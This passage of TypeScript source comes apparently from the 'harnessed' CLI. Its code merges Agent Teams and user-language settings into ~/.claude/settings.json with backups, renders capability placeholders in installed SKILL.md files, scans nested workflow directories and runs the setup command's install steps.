enableAgentTeamsInSettings(): Promise<EnableResult> {\n const path = settingsPath()\n let raw: string | undefined\n try {\n raw = await readFile(path, 'utf8')\n } catch (err) {\n const code = (err as NodeJS.ErrnoException).code\n if (code !== 'ENOENT') {\n return { status: 'warn', message: `read ${path} failed: ${(err as Error).message}` }\n }\n // Case (a): file does not exist → create fresh.\n return createFreshSettings(path)\n }\n\n let data: Record<string, unknown>\n try {\n const parsed = JSON.parse(raw) as unknown\n if (parsed === null || typeof parsed !== 'object' || Array.isArray(parsed)) {\n return { status: 'warn', message: `${path} is not a JSON object` }\n }\n data = parsed as Record<string, unknown>\n } catch (err) {\n return { status: 'warn', message: `${path} malformed JSON: ${(err as Error).message}` }\n }\n\n const env = (data.env ?? {}) as Record<string, unknown>\n if (env.CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS === '1') {\n return { status: 'already-enabled', path } // Case (b): idempotent.\n }\n\n // Case (c): backup original + merge add/update key (non-destructive).\n const backupPath = await backupOriginal(raw)\n if (backupPath.status === 'warn') return backupPath\n\n data.env = { ...env, CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS: '1' }\n const writeErr = await atomicWrite(path, `${JSON.stringify(data, null, 2)}\\n`)\n if (writeErr) return { status: 'warn', message: writeErr }\n\n return { status: 'enabled', path, backupPath: backupPath.path }\n}\n\nasync function createFreshSettings(path: string): Promise<EnableResult> {\n const data = { env: { CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS: '1' } }\n try {\n await mkdir(join(homedir(), '.claude'), { recursive: true })\n } catch (err) {\n return { status: 'warn', message: `mkdir ~/.claude failed: ${(err as Error).message}` }\n }\n const writeErr = await atomicWrite(path, `${JSON.stringify(data, null, 2)}\\n`)\n if (writeErr) return { status: 'warn', message: writeErr }\n return { status: 'created', path }\n}\n\nasync function backupOriginal(\n raw: string,\n): Promise<{ status: 'ok'; path: string } | { status: 'warn'; message: string }> {\n const backupRoot = harnessedSubdir('backups')\n const ts = new Date().toISOString().replace(/:/g, '-')\n const backupPath = join(backupRoot, `settings.json.${ts}.bak`)\n try {\n await mkdir(backupRoot, { recursive: true })\n await writeFile(backupPath, raw, 'utf8')\n return { status: 'ok', path: backupPath }\n } catch (err) {\n return { status: 'warn', message: `backup ${backupPath} failed: ${(err as Error).message}` }\n }\n}\n\nasync function atomicWrite(path: string, content: string): Promise<string | undefined> {\n const tmpPath = `${path}.tmp-${process.pid}-${Date.now()}`\n try {\n await writeFile(tmpPath, content, 'utf8')\n await rename(tmpPath, path)\n return undefined\n } catch (err) {\n return `write ${path} failed: ${(err as Error).message}`\n }\n}\n","// v3.4.0 NEW — auto-detect + write `env.HARNESSED_USER_LANG` in\n// ~/.claude/settings.json during `harnessed setup` Step D.\n//\n// Sister enableAgentTeamsInSettings.ts (v3.3.1 hotfix): mirror probe + 3-case\n// merge logic but for a different key. Q-AUDIT-5b LOCKED root-level env.*\n// schema preserved.\n//\n// Locale matching policy (LOCKED per v3.4.0 coordinator clarification):\n// - `zh*` (zh-CN / zh-Hans / zh-TW / zh.UTF-8 / etc.) → 'zh-Hans'\n// - Any other input (en / ko / ja / fr / de / es / etc.) → 'en'\n//\n// Behavior (3 case + non-destructive merge):\n// (a) file missing → create with {env:{HARNESSED_USER_LANG: detected}}\n// (b) env.HARNESSED_USER_LANG already set → idempotent no-op (respects override)\n// (c) file exists missing key OR explicit override → backup + merge update\n//\n// `--user-lang <code>` CLI override is honored when provided (forces detected = code).\n//\n// Backup → ~/.claude/harnessed/backups/settings.json.{ISO-ts}.bak.\n// Any error → warn + skip (sister fallback 铁律 1), NOT throw — non-blocking setup.\n\nimport { mkdir, readFile, rename, writeFile } from 'node:fs/promises'\nimport { homedir } from 'node:os'\nimport { join, resolve } from 'node:path'\nimport { harnessedSubdir } from '../../installers/lib/harnessedRoot.js'\n\nexport type UserLangCode = 'en' | 'zh-Hans'\n\nexport type EnableUserLangResult =\n | { status: 'created'; path: string; detected: UserLangCode }\n | { status: 'already-set'; path: string; existing: string }\n | { status: 'enabled'; path: string; backupPath: string; detected: UserLangCode }\n | { status: 'warn'; message: string }\n\nfunction settingsPath(): string {\n return resolve(homedir(), '.claude', 'settings.json')\n}\n\n/**\n * Detect OS locale → 'zh-Hans' if zh*, else 'en'. Mirrors src/i18n/index.ts\n * `mapToSupported()` policy. Kept inline here (not imported from i18n) so the\n * helper has no cross-module coupling and the test fixture can override env\n * vars cleanly.\n */\nexport function detectUserLang(override?: string): UserLangCode {\n if (override) {\n if (/^zh([^a-z]|$)/i.test(override)) return 'zh-Hans'\n return 'en'\n }\n const raw =\n process.env.HARNESSED_LANG ||\n process.env.LC_ALL ||\n process.env.LANG ||\n process.env.LANGUAGE ||\n safeIntlLocale() ||\n ''\n if (/^zh([^a-z]|$)/i.test(raw)) return 'zh-Hans'\n return 'en'\n}\n\nfunction safeIntlLocale(): string | undefined {\n try {\n return Intl.DateTimeFormat().resolvedOptions().locale\n } catch {\n return undefined\n }\n}\n\nexport async function enableUserLangInSettings(override?: string): Promise<EnableUserLangResult> {\n const path = settingsPath()\n const detected = detectUserLang(override)\n\n let raw: string | undefined\n try {\n raw = await readFile(path, 'utf8')\n } catch (err) {\n const code = (err as NodeJS.ErrnoException).code\n if (code !== 'ENOENT') {\n return { status: 'warn', message: `read ${path} failed: ${(err as Error).message}` }\n }\n // Case (a): file does not exist → create fresh with detected lang.\n return createFreshSettings(path, detected)\n }\n\n let data: Record<string, unknown>\n try {\n const parsed = JSON.parse(raw) as unknown\n if (parsed === null || typeof parsed !== 'object' || Array.isArray(parsed)) {\n return { status: 'warn', message: `${path} is not a JSON object` }\n }\n data = parsed as Record<string, unknown>\n } catch (err) {\n return { status: 'warn', message: `${path} malformed JSON: ${(err as Error).message}` }\n }\n\n const env = (data.env ?? {}) as Record<string, unknown>\n const existing = env.HARNESSED_USER_LANG\n if (typeof existing === 'string' && existing.length > 0 && override === undefined) {\n // Case (b): user-managed value present + no explicit override → respect it.\n return { status: 'already-set', path, existing }\n }\n\n // Case (c): backup original + merge add/update key (non-destructive).\n const backupPath = await backupOriginal(raw)\n if (backupPath.status === 'warn') return backupPath\n\n data.env = { ...env, HARNESSED_USER_LANG: detected }\n const writeErr = await atomicWrite(path, `${JSON.stringify(data, null, 2)}\\n`)\n if (writeErr) return { status: 'warn', message: writeErr }\n\n return { status: 'enabled', path, backupPath: backupPath.path, detected }\n}\n\nasync function createFreshSettings(\n path: string,\n detected: UserLangCode,\n): Promise<EnableUserLangResult> {\n const data = { env: { HARNESSED_USER_LANG: detected } }\n try {\n await mkdir(join(homedir(), '.claude'), { recursive: true })\n } catch (err) {\n return { status: 'warn', message: `mkdir ~/.claude failed: ${(err as Error).message}` }\n }\n const writeErr = await atomicWrite(path, `${JSON.stringify(data, null, 2)}\\n`)\n if (writeErr) return { status: 'warn', message: writeErr }\n return { status: 'created', path, detected }\n}\n\nasync function backupOriginal(\n raw: string,\n): Promise<{ status: 'ok'; path: string } | { status: 'warn'; message: string }> {\n const backupRoot = harnessedSubdir('backups')\n const ts = new Date().toISOString().replace(/:/g, '-')\n const backupPath = join(backupRoot, `settings.json.${ts}.bak`)\n try {\n await mkdir(backupRoot, { recursive: true })\n await writeFile(backupPath, raw, 'utf8')\n return { status: 'ok', path: backupPath }\n } catch (err) {\n return { status: 'warn', message: `backup ${backupPath} failed: ${(err as Error).message}` }\n }\n}\n\nasync function atomicWrite(path: string, content: string): Promise<string | undefined> {\n const tmpPath = `${path}.tmp-${process.pid}-${Date.now()}`\n try {\n await writeFile(tmpPath, content, 'utf8')\n await rename(tmpPath, path)\n return undefined\n } catch (err) {\n return `write ${path} failed: ${(err as Error).message}`\n }\n}\n","// v3.4.2 redesign — Render capability template placeholders in installed SKILL.md.\n//\n// Setup pipeline:\n// 1. `cp` recursively copies workflows/<x>/ → ~/.claude/skills/<x>/ (existing).\n// 2. THIS module post-processes copied SKILL.md files: regex-replace\n// `{{ capabilities.<name>.cmd }}` placeholders with resolver output.\n// 3. Warnings collected per skill, returned to setup.ts for end-of-run summary.\n//\n// v3.4.2 change vs v3.4.1: resolver now receives BOTH installed plugin set AND\n// installed user-skill set, so it can presence-check capabilities backed by either\n// install path. The resolver never mutates cmd — it only emits warnings when\n// install_type is declared and the backing capability is absent on disk.\n//\n// Karpathy simplicity: file ≤ 200 LOC; no new deps; reads capabilities.yaml once.\n\nimport { readFile, writeFile } from 'node:fs/promises'\nimport { join } from 'node:path'\nimport { parse as parseYaml } from 'yaml'\nimport {\n type CapabilityMap,\n readInstalledPlugins,\n readInstalledUserSkills,\n renderSkillBody,\n} from './capabilityResolver.js'\n\n/** Per-skill render outcome — passed back to setup.ts for log emission. */\nexport interface SkillRenderResult {\n /** Skill name (e.g. `verify-paranoid`). */\n name: string\n /** Skill SKILL.md absolute path that was rewritten (or attempted). */\n skillPath: string\n /** True when at least one placeholder was substituted. */\n rendered: boolean\n /** Resolver warnings (plugin / user-skill missing, unknown capability ref). */\n warnings: string[]\n /** Hard error (read/parse/write failure) — caller emits warn and continues. */\n error?: string\n}\n\n/** Load + parse `<workflowsDir>/capabilities.yaml` → CapabilityMap. */\nexport async function loadCapabilities(workflowsDir: string): Promise<CapabilityMap> {\n const path = join(workflowsDir, 'capabilities.yaml')\n const raw = await readFile(path, 'utf8')\n const doc = parseYaml(raw) as { capabilities?: CapabilityMap }\n return doc?.capabilities ?? {}\n}\n\n/**\n * Render `{{ capabilities.<name>.cmd }}` placeholders in a single installed\n * `~/.claude/skills/<name>/SKILL.md` file in-place.\n *\n * Non-fatal: any read/write/parse error returns a result with `error` set so\n * caller (setup.ts) can warn-and-continue (sister fallback 铁律 1).\n */\nexport async function renderSkillFile(\n skillName: string,\n skillsBase: string,\n capabilities: CapabilityMap,\n installedPlugins: Set<string>,\n installedUserSkills: Set<string>,\n): Promise<SkillRenderResult> {\n const skillPath = join(skillsBase, skillName, 'SKILL.md')\n const result: SkillRenderResult = {\n name: skillName,\n skillPath,\n rendered: false,\n warnings: [],\n }\n let body: string\n try {\n body = await readFile(skillPath, 'utf8')\n } catch (e) {\n result.error = `read failed: ${(e as Error).message}`\n return result\n }\n const rendered = renderSkillBody(body, capabilities, installedPlugins, installedUserSkills)\n if (rendered.body === body) {\n // No placeholders found — no-op (e.g. research/SKILL.md has none).\n result.warnings = rendered.warnings\n return result\n }\n try {\n await writeFile(skillPath, rendered.body, 'utf8')\n result.rendered = true\n result.warnings = rendered.warnings\n } catch (e) {\n result.error = `write failed: ${(e as Error).message}`\n }\n return result\n}\n\n/**\n * Render placeholders for many installed skills in sequence (small N — 25 skills).\n * Serial avoids fs write contention; total cost is <100ms in practice.\n */\nexport async function renderAllSkills(\n skillNames: string[],\n skillsBase: string,\n workflowsDir: string,\n homedirOverride?: string,\n): Promise<{ results: SkillRenderResult[]; aggregatedWarnings: string[] }> {\n let capabilities: CapabilityMap = {}\n try {\n capabilities = await loadCapabilities(workflowsDir)\n } catch (e) {\n // capabilities.yaml unreadable → return all-skipped result with a single\n // aggregated warning. Setup remains non-blocking.\n return {\n results: skillNames.map((name) => ({\n name,\n skillPath: join(skillsBase, name, 'SKILL.md'),\n rendered: false,\n warnings: [],\n error: `capabilities.yaml load failed: ${(e as Error).message}`,\n })),\n aggregatedWarnings: [\n `capabilities.yaml unreadable — SKILL.md placeholders left verbatim (${(e as Error).message})`,\n ],\n }\n }\n const installedPlugins = readInstalledPlugins(homedirOverride)\n const installedUserSkills = readInstalledUserSkills(homedirOverride)\n const results: SkillRenderResult[] = []\n const warningSet = new Set<string>()\n for (const name of skillNames) {\n const r = await renderSkillFile(\n name,\n skillsBase,\n capabilities,\n installedPlugins,\n installedUserSkills,\n )\n results.push(r)\n for (const w of r.warnings) warningSet.add(w)\n if (r.error) warningSet.add(`${name}: ${r.error}`)\n }\n return { results, aggregatedWarnings: [...warningSet] }\n}\n","// Phase v2.0-2.6 W0 close cleanup — Karpathy ≤200L split for src/cli/setup.ts (CK deferred).\n// Sister Phase 3.4 W1 doctor.ts inline shrink + origin-check.ts sister-share extract pattern.\n// Extracts: (1) Agent Teams warn UX, (2) workflow SKILL.md scan, (3) Step B parallel install.\n//\n// Phase v3.0-3.3 T3.3.W0.12 — nested 2-level scan returning NestedWorkflow[] so\n// callers can flatten slash-cmd name + know master vs sub-stage. Scan logic lives\n// in ./scan-nested.ts (karpathy ≤200L split).\n//\n// v3.6.1 — removed renderDeprecationBlock re-export + ScanResult.deprecated\n// field; execute-task / plan-feature / verify-work promoted to FLAT_LEGACY_KEEP\n// (active CLI subcommand aliases, not deprecated).\n\nimport { readFile } from 'node:fs/promises'\nimport { runInstall } from '../../installers/index.js'\nimport type { InstallOpts } from '../../installers/lib/types.js'\nimport { validateManifestFile } from '../../manifest/validate.js'\nimport { checkAgentTeams } from './checkAgentTeams.js'\nimport type { ScanResult } from './scan-nested.js'\nimport { scanWorkflowsNested } from './scan-nested.js'\n\nexport type { NestedWorkflow, ScanResult } from './scan-nested.js'\n\n/** Phase 2.1 deferred installer methods — counted as skipped, not failed (D-11). */\nconst PHASE_21 = new Set([\n 'cc-plugin-marketplace',\n 'git-clone-with-setup',\n 'npx-skill-installer',\n 'mcp-http-add',\n])\n\n/**\n * Phase v2.0-2.3 W1.1: Agent Teams env probe (non-blocking warn).\n * Per Q-AUDIT-5b + R20.11 acceptance e + PLAN-ENG-REVIEW § Section 5 [LOW]:\n * Warn-only if missing — parallelism-gate runtime degrades to subagent fan-out\n * when Agent Teams CC env flag is off (session-scoped tolerance policy).\n */\nexport async function warnIfAgentTeamsMissing(): Promise<void> {\n const r = await checkAgentTeams()\n if (r.status !== 'missing') return\n console.warn('\\n⚠️ Agent Teams 未启用 — parallelism-gate 升级路径不可用')\n console.warn(' 修复: claude config set env.CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS 1')\n console.warn(\n ' 说明: harnessed v3.0 三层栈方法论 parallelism-gate 升级路径需 CC 2.1.133+ Agent Teams enable',\n )\n console.warn(\n ' 不阻塞 setup,后续 parallelism-gate workflow phase 触发时自动降级 subagent fan-out\\n',\n )\n // NOT exit — non-blocking per R20.11 acceptance a\n}\n\n/** v3.0 nested 2-level scan — returns NestedWorkflow[]. */\nexport async function scanWorkflowsWithSkill(\n workflowsDir: string,\n entries: string[],\n): Promise<ScanResult> {\n return scanWorkflowsNested(workflowsDir, entries)\n}\n\nexport interface StepBResult {\n installed: string[]\n alreadyInstalled: string[]\n skipped: string[]\n failed: string[]\n elapsedMs: number\n}\n\n/** Step B: parallel install-base auto-glob chain via Promise.allSettled (v1.0.3 T1.1). */\nexport async function runStepBInstall(manifestPaths: string[]): Promise<StepBResult> {\n const opts: InstallOpts = {\n apply: true,\n dryRun: false,\n system: false,\n nonInteractive: true,\n fullDiff: false,\n color: 'auto',\n }\n const start = Date.now()\n const settled = await Promise.allSettled(\n manifestPaths.map(async (path) => {\n let yamlSrc: string\n try {\n yamlSrc = await readFile(path, 'utf8')\n } catch (e) {\n return { status: 'failed' as const, name: path, reason: `read: ${(e as Error).message}` }\n }\n const v = validateManifestFile(yamlSrc, path)\n if (!v.ok) {\n return {\n status: 'failed' as const,\n name: path,\n reason: `validate: ${v.errors[0]?.message ?? 'unknown'}`,\n }\n }\n const name = v.manifest.metadata.name\n const method = v.manifest.spec.install.method\n if (PHASE_21.has(method)) return { status: 'skipped' as const, name }\n const r = await runInstall(v.manifest, opts)\n if ('aborted' in r) return { status: 'skipped' as const, name }\n if (r.ok && 'alreadyInstalled' in r && r.alreadyInstalled)\n return { status: 'already-installed' as const, name }\n if (r.ok) return { status: 'installed' as const, name }\n return { status: 'failed' as const, name, reason: r.error.message }\n }),\n )\n\n const installed: string[] = []\n const alreadyInstalled: string[] = []\n const skipped: string[] = []\n const failed: string[] = []\n for (const s of settled) {\n const v =\n s.status === 'fulfilled'\n ? s.value\n : {\n status: 'failed' as const,\n name: '?',\n reason: String((s as PromiseRejectedResult).reason),\n }\n if (v.status === 'installed') installed.push(v.name)\n else if (v.status === 'already-installed') alreadyInstalled.push(v.name)\n else if (v.status === 'skipped') skipped.push(v.name)\n else\n failed.push(`${v.name}: ${(v as { status: 'failed'; name: string; reason: string }).reason}`)\n }\n return { installed, alreadyInstalled, skipped, failed, elapsedMs: Date.now() - start }\n}\n","// Phase v3.0-3.3 T3.3.W0.12 — Nested workflows/<stage>/<sub>/ 2-level scan helper.\n// v3.6.1 — removed FLAT_LEGACY_DEPRECATED + renderDeprecationBlock dead code;\n// execute-task / plan-feature / verify-work are active CLI subcommand aliases\n// (thin shims invoking runWorkflow against their v2/v3 workflow.yaml — see\n// src/cli/execute-task.ts and sister), NOT deprecated. Promoted to FLAT_LEGACY_KEEP.\n//\n// Contract:\n// Path A: flat top-level SKILL.md (research / retro / auto + 3 v2-schema active aliases keep).\n// Path B: nested 2-level workflows/<stage>/<sub>/SKILL.md\n// - sub === 'auto' → master, slash-cmd flatten to bare `<stage>`\n// - sub !== 'auto' → sub-stage, slash-cmd flatten to `<stage>-<sub>`\n// Skip: disciplines/ + judgments/ (K10 — non-workflow manifest dirs).\n\nimport { readdir, stat } from 'node:fs/promises'\nimport { join } from 'node:path'\n\nexport interface NestedWorkflow {\n /** Slash-cmd name (flat) — e.g. \"discuss-strategic\" or \"discuss\" (master). */\n name: string\n /** Source dir relative to workflowsDir — e.g. \"discuss/strategic\" or \"research\". */\n relPath: string\n /** Whether this is a master (nested at <stage>/auto/SKILL.md). */\n isMaster: boolean\n}\n\n/** Flat top-level dirs that remain valid as standalone v3 workflows (KEEP).\n * - research / retro / auto: native standalone v3 workflows.\n * - execute-task / plan-feature / verify-work: active CLI subcommand aliases\n * (v3.6.1 — promoted from FLAT_LEGACY_DEPRECATED after recognising the\n * `harnessed execute-task` / `plan-feature` / `verify-work` subcommands are\n * thin shims invoking runWorkflow; workflow.yaml still required at runtime). */\nexport const FLAT_LEGACY_KEEP = new Set([\n 'research',\n 'retro',\n 'auto',\n 'execute-task',\n 'plan-feature',\n 'verify-work',\n])\n\n/** v3.1.0 — Top-level standalone dirs that are super-masters (isMaster=true flag\n * for setup.ts `(master)` tag rendering). Currently only `auto`; sister research /\n * retro remain non-master standalone workflows. */\nexport const FLAT_TOP_LEVEL_MASTERS = new Set(['auto'])\n\n/** Non-workflow manifest dirs to skip during nested scan (K10 mitigation). */\nexport const NON_WORKFLOW_DIRS = new Set(['disciplines', 'judgments'])\n\nexport interface ScanResult {\n workflows: NestedWorkflow[]\n}\n\n/** Nested 2-level scan: top-level + 1 nested depth. */\nexport async function scanWorkflowsNested(\n workflowsDir: string,\n entries: string[],\n): Promise<ScanResult> {\n const workflows: NestedWorkflow[] = []\n\n for (const entry of entries.sort()) {\n if (NON_WORKFLOW_DIRS.has(entry)) continue // K10 — skip disciplines/ + judgments/\n\n const src = join(workflowsDir, entry)\n let s: { isDirectory: () => boolean }\n try {\n s = await stat(src)\n } catch {\n continue\n }\n if (!s.isDirectory()) continue\n\n // Path A: flat top-level SKILL.md (v2 legacy OR standalone v3 keep).\n let hasFlatSkill = false\n try {\n await stat(join(src, 'SKILL.md'))\n hasFlatSkill = true\n } catch {\n hasFlatSkill = false\n }\n\n if (hasFlatSkill) {\n if (FLAT_LEGACY_KEEP.has(entry)) {\n workflows.push({ name: entry, relPath: entry, isMaster: FLAT_TOP_LEVEL_MASTERS.has(entry) })\n continue\n }\n // Unknown flat top-level with SKILL.md — install as-is (forward compat).\n workflows.push({ name: entry, relPath: entry, isMaster: false })\n continue\n }\n\n // Path B: nested 2-level — workflows/<stage>/<sub>/SKILL.md\n let subEntries: string[]\n try {\n subEntries = await readdir(src)\n } catch {\n continue\n }\n for (const sub of subEntries.sort()) {\n const subDir = join(src, sub)\n let ss: { isDirectory: () => boolean }\n try {\n ss = await stat(subDir)\n } catch {\n continue\n }\n if (!ss.isDirectory()) continue\n try {\n await stat(join(subDir, 'SKILL.md'))\n } catch {\n continue\n }\n // Flatten to slash-cmd name (per D-02 bare cmd):\n // workflows/discuss/auto/ → /discuss (master)\n // workflows/discuss/strategic/ → /discuss-strategic (sub-stage)\n const name = sub === 'auto' ? entry : `${entry}-${sub}`\n workflows.push({ name, relPath: `${entry}/${sub}`, isMaster: sub === 'auto' })\n }\n }\n\n return { workflows }\n}\n","// v1.0.3 T1.1 — Step B serial → parallel Promise.allSettled (~75% speedup; 16 manifests 30-50s → 5-10s).\n// v1.0.2 T1.3+T1.4 — cli subcommand `setup` full one-shot onboarding (UX redesign post-v1.0.1).\n// Phase v2.0-2.6 W0 close cleanup — Karpathy ≤200L split: helpers moved to ./lib/setup-helpers.ts (CK deferred).\n//\n// IMPL NOTE (immediate-install default + --dry-run opt-in, non-expert UX):\n// `harnessed setup` executes immediately by default (non-expert UX; v1.0.2 user feedback).\n// `--dry-run` flag opt-in for advanced preview. Sister install.ts pattern REVERSED.\n// Step A: copies each workflows/<name>/ dir with SKILL.md to ~/.claude/skills/<name>/.\n// Step B: chains install-base auto-glob (installs all manifests/{tools,skill-packs}/*.yaml).\n// Workflows without SKILL.md are skipped in Step A.\n//\n// Exit codes:\n// 0 → at least 1 workflow installed + base manifests processed\n// 1 → fs.cp failed\n// 2 → no SKILL.md workflows found (nothing to install)\n\nimport { cp, mkdir, readdir, writeFile } from 'node:fs/promises'\nimport { homedir } from 'node:os'\nimport { join, resolve } from 'node:path'\nimport type { Command } from 'commander'\nimport { t } from '../i18n/index.js'\nimport { readInstalledPlugins, readInstalledUserSkills } from './lib/capabilityResolver.js'\nimport { enableAgentTeamsInSettings } from './lib/enableAgentTeamsInSettings.js'\nimport { enableUserLangInSettings } from './lib/enableUserLangInSettings.js'\nimport { loadRolePrompts, writeAllCommands } from './lib/generateCommands.js'\nimport { getPackageRoot } from './lib/packagePath.js'\nimport { loadCapabilities, renderAllSkills } from './lib/renderSkillTemplates.js'\nimport {\n runStepBInstall,\n scanWorkflowsWithSkill,\n warnIfAgentTeamsMissing,\n} from './lib/setup-helpers.js'\n\ninterface RawOpts {\n dryRun?: boolean\n userLang?: string\n nonInteractive?: boolean\n autoInstall?: boolean // v3.9.0 P4 — commander `--no-auto-install` flag flips this to false\n}\n\nasync function listBaseManifests(pkgRoot: string): Promise<string[]> {\n const out: string[] = []\n for (const d of ['manifests/tools', 'manifests/skill-packs']) {\n try {\n const entries = await readdir(resolve(pkgRoot, d))\n for (const f of entries.sort()) if (f.endsWith('.yaml')) out.push(resolve(pkgRoot, d, f))\n } catch {}\n }\n return out\n}\n\nexport function registerSetup(program: Command): void {\n program\n .command('setup')\n .description(\n 'One-shot onboarding: install workflow skills + base manifests to ~/.claude/ (immediate by default — use --dry-run for preview)',\n )\n .option('--dry-run', 'preview only — do not write to disk (opt-in for advanced users)')\n .option(\n '--user-lang <code>',\n 'override detected OS locale for env.HARNESSED_USER_LANG (en | zh-Hans / zh-CN / zh-TW)',\n )\n // v3.9.0 P4 — auto-install third-party plugins via Clack confirm prompt\n // (default opt-in). `--non-interactive` skips prompts for CI/scripts;\n // `--no-auto-install` keeps v3.8.x advisory-only behavior.\n .option('--non-interactive', 'skip all confirm prompts (CI / scripted setup)')\n .option('--no-auto-install', 'do not prompt to auto-install missing plugins (advisory only)')\n .action(async (raw: RawOpts) => {\n const dryRun = raw.dryRun === true\n const pkgRoot = getPackageRoot()\n const workflowsDir = resolve(pkgRoot, 'workflows')\n const skillsBase = resolve(homedir(), '.claude', 'skills')\n\n // Agent Teams env probe (non-blocking warn) — sister R20.11 acceptance e.\n await warnIfAgentTeamsMissing()\n\n // ── Step A: workflow SKILL.md scan ──────────────────────────────────────\n let entries: string[]\n try {\n entries = await readdir(workflowsDir)\n } catch {\n console.error(t('setup.workflows_not_found', { path: workflowsDir }))\n process.exit(1)\n }\n\n const { workflows: toInstall } = await scanWorkflowsWithSkill(workflowsDir, entries)\n\n if (toInstall.length === 0) {\n console.log(t('setup.nothing_to_install'))\n process.exit(2)\n }\n\n if (dryRun) {\n console.log(t('setup.dry_run.header', { count: toInstall.length, path: skillsBase }))\n for (const wf of toInstall) {\n const masterTag = wf.isMaster ? ' (master)' : ''\n console.log(` ${wf.name} → ${join(skillsBase, wf.name)}${masterTag}`)\n }\n console.log(t('setup.dry_run.run_hint'))\n process.exit(0)\n }\n\n let skillsInstalled = 0\n for (const wf of toInstall) {\n const src = join(workflowsDir, wf.relPath)\n const dst = join(skillsBase, wf.name)\n try {\n await cp(src, dst, { recursive: true, force: true })\n const masterTag = wf.isMaster ? ' (master)' : ''\n console.log(` [A] installed ${wf.name} → ${dst}${masterTag}`)\n skillsInstalled++\n } catch (e) {\n console.error(t('setup.copy_failed', { name: wf.name, message: (e as Error).message }))\n process.exit(1)\n }\n }\n\n console.log(t('setup.step_a_complete', { count: skillsInstalled, path: skillsBase }))\n\n // ── Step A.5: Render `{{ capabilities.<name>.cmd }}` placeholders ───────\n // v3.4.1 hotfix — sub-workflow SKILL.md files contain Jinja-style template\n // refs that were never substituted at install time; end users saw literal\n // `{{ capabilities.gstack-review.cmd }}` strings in installed skills so\n // `/verify-paranoid` (and 20+ siblings) never invoked the real plugin cmd.\n // Resolver reads ~/.claude/plugins/installed_plugins.json + capabilities.yaml,\n // renders to namespaced form (`/gstack:review`) when plugin installed, OR\n // leaves bare cmd + emits warning when plugin missing. Non-blocking — any\n // unexpected error reduces to per-skill warn-and-continue (sister fallback\n // 铁律 1).\n const skillNames = toInstall.map((wf) => wf.name)\n const rendered = await renderAllSkills(skillNames, skillsBase, workflowsDir)\n const renderedCount = rendered.results.filter((r) => r.rendered).length\n console.log(\n t('setup.step_a_render.complete', {\n count: renderedCount,\n total: skillsInstalled,\n }),\n )\n if (rendered.aggregatedWarnings.length > 0) {\n console.warn(t('setup.step_a_render.warnings_header'))\n for (const w of rendered.aggregatedWarnings) {\n console.warn(` - ${w}`)\n }\n }\n\n // ── Step A.6: Generate ~/.claude/commands/<x>.md (v3.4.3) ───────────────\n // v3.4.3 — SKILL.md alone does NOT register a slash command. Claude Code\n // platform-level slash commands require `~/.claude/commands/<x>.md`\n // (filename = slash name; YAML frontmatter + body = prompt). This step\n // writes one per installed sub-workflow, with a dual-path body: preferred\n // (upstream slash cmd) + fallback (Task-spawn self-contained role prompt\n // adapted from gstack expert prompts). Skip + warn if user already has\n // a same-named commands/ file (additive only — never overwrite).\n const commandsBase = resolve(homedir(), '.claude', 'commands')\n try {\n await mkdir(commandsBase, { recursive: true })\n } catch (e) {\n console.warn(\n ` [A.6] could not create ${commandsBase} — skipping commands/ generation (${(e as Error).message})`,\n )\n }\n let capabilitiesMap = {}\n try {\n capabilitiesMap = await loadCapabilities(workflowsDir)\n } catch (e) {\n console.warn(\n ` [A.6] capabilities.yaml unreadable — skipping commands/ generation (${(e as Error).message})`,\n )\n }\n const rolePrompts = await loadRolePrompts(workflowsDir)\n const installedPlugins = readInstalledPlugins()\n const installedUserSkills = readInstalledUserSkills()\n const cmdResult = await writeAllCommands(\n skillNames,\n commandsBase,\n rolePrompts,\n capabilitiesMap,\n installedPlugins,\n installedUserSkills,\n async (p, c) => writeFile(p, c, 'utf8'),\n )\n const writtenCount = cmdResult.results.filter((r) => r.written).length\n const skippedCount = cmdResult.results.filter((r) => !r.written && r.warning).length\n console.log(\n ` [A.6] generated ${writtenCount} commands/<x>.md file(s) (${skippedCount} skipped — existing user file or schema warn)`,\n )\n for (const r of cmdResult.results) {\n if (r.written) {\n console.log(` [A.6] wrote /${r.name} → ${r.path}`)\n } else if (r.warning) {\n console.warn(` [A.6] skipped /${r.name}: ${r.warning}`)\n }\n }\n\n // ── Step C: Agent Teams auto-enable in ~/.claude/settings.json ──────────\n // v3.3.1 hotfix — Q-AUDIT-5b LOCKED root-level env.* schema. Pattern A\n // 3-teammate + /verify-multispec 4-specialist + masterOrchestrator\n // delegates_to recursive workflow 的前提。Non-destructive merge with\n // backup; warn + skip on any error (sister fallback 铁律 1).\n const cResult = await enableAgentTeamsInSettings()\n if (cResult.status === 'created') {\n console.log(t('setup.step_c.created', { path: cResult.path }))\n } else if (cResult.status === 'already-enabled') {\n console.log(t('setup.step_c.already_enabled', { path: cResult.path }))\n } else if (cResult.status === 'enabled') {\n console.log(\n t('setup.step_c.enabled_backup', {\n path: cResult.path,\n backupPath: cResult.backupPath,\n }),\n )\n } else {\n console.warn(t('setup.step_c.skipped', { message: cResult.message }))\n }\n\n // ── Step D: User language preference write (v3.4.0) ─────────────────────\n // Detect OS locale → write env.HARNESSED_USER_LANG ('en' | 'zh-Hans').\n // Honors `--user-lang` override + existing setting respect (idempotent).\n // Sister Step C non-destructive merge + warn-skip pattern.\n const dResult = await enableUserLangInSettings(raw.userLang)\n if (dResult.status === 'created') {\n console.log(t('setup.step_d.created', { path: dResult.path, lang: dResult.detected }))\n } else if (dResult.status === 'already-set') {\n console.log(t('setup.step_d.already_set', { path: dResult.path, lang: dResult.existing }))\n } else if (dResult.status === 'enabled') {\n console.log(\n t('setup.step_d.enabled_backup', {\n path: dResult.path,\n lang: dResult.detected,\n backupPath: dResult.backupPath,\n }),\n )\n } else {\n console.warn(t('setup.step_d.skipped', { message: dResult.message }))\n }\n\n // ── Step B: install-base auto-glob chain (parallel) ─────────────────────\n const manifestPaths = await listBaseManifests(pkgRoot)\n const b = await runStepBInstall(manifestPaths)\n const stepBMs = (b.elapsedMs / 1000).toFixed(1)\n console.log(\n t('setup.step_b_complete', {\n installed: b.installed.length,\n already: b.alreadyInstalled.length,\n skipped: b.skipped.length,\n failed: b.failed.length,\n seconds: stepBMs,\n }),\n )\n for (const n of b.installed) console.log(` [B] installed ${n}`)\n for (const n of b.alreadyInstalled)\n console.log(\n ` [B] already-installed ${n} — run \\`/mcp\\` in Claude Code to verify connection`,\n )\n for (const n of b.skipped) 